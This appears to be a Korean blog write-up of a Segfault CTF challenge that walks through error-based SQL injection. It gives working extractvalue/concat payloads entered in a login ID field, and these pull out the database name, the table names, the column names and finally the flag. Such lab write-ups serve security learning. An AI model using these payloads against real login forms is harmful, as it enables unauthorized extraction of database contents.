※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ SQL Injection 근거로 찾아가봅니다.
→ ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 DB명이 도출되었다.
→ 현재 DB명이 sqli_2 로 확인 되었다.
→ Error based SQLi으로 접근하면 되겠다.
▶ Error Based SQLi 공격포맷 정립
→ ID 입력란에 1' or extractvalue('1', concat(':', (SQL구문) )) #
▶ 1단계 DB이름
→ 1' or extractvalue('1', concat(':', database() )) #
→ 현재 DB이름 sqli_2
▶ 2단계 Talb이름
→ 1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2') )) #
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli_2') )) # group_concat으로 한번에 출력하였다.
→ Table 이름 flag_table, member 두 가지가 나왔다.
▶ 3단계 flag_table의 COLUMN 이름
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='sqli_2' and table_name='flag_table'))) #
→ 실행 결과 ':flag' 이렇게 하나만 나왔다.
▶ 4단계 값 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(flag) FROM flag_table))) #
→ 플래그가 나왔다.
Segfault CTF - (7주 차) SQL Injection 5 (1) | 2024.06.05 |
---|---|
Segfault CTF - (7주 차) SQL Injection 4 (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection (Blind Practice) (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection (Error Based SQLi Basic) (0) | 2024.06.05 |
Segfault CTF - (6주 차) SQL Injection 2 (0) | 2024.05.27 |